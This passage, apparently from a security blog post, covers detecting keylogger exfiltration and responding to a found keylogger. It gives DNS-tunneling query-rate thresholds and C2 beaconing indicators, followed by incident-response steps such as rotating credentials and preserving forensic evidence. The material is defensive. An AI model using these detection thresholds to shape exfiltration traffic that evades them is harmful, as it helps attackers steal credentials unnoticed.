  Normal DNS traffic: < 100 queries/minute
  DNS tunneling: > 1000 queries/minute
  Alert/block at threshold

Monitor for regular beaconing patterns:
  Periodic outbound connections at fixed intervals (e.g., every 60 seconds)
  from a single process to the same external IP is characteristic of C2

If You Find a Keylogger

Finding a keylogger is a security incident, not a cleanup task.

Incident response for a detected keylogger:

1. Do NOT simply remove and continue
   What was captured during the active period?
   Duration of capture = scope of compromise

2. Assess the exposure window
   When was the keylogger installed? (Autoruns timestamps, installer logs)
   What was typed during that window?
   - All passwords typed (assume all are compromised)
   - All API keys, SSH keys, tokens typed or pasted
   - All sensitive communications composed

3. Rotate everything
   Change passwords for every account accessed from the affected device
   Rotate API keys and access tokens
   Rotate SSH private key passphrases (or generate new keys if passphrase was typed)
   Rotate any certificates or secrets that were typed or pasted

4. Preserve forensic artifacts
   Copy the keylogger binary (hash it first: sha256sum)
   Export relevant log files
   Capture memory if the keylogger is still running
   Document everything before removal

5. Escalate appropriately
   Corporate device: treat as security incident, report to security team
   Personal device with work access: notify employer IT/security
   Evidence of targeted attack (sophisticated keylogger, specific targeting): notify law enforcement

6. Investigate how the keylogger was installed
   Physical access? → Evaluate who had access during the vulnerable window
   Malware delivery? → Determine entry vector, check other devices
   Insider threat? → HR, legal, security team coordination

A keylogger is a symptom. The credential exposure it enabled, and the access that credential exposure enables, is the actual breach. The keylogger removal ends the capture; it does not recover what was already taken.

Sharetwitterlinkedin

Related Posts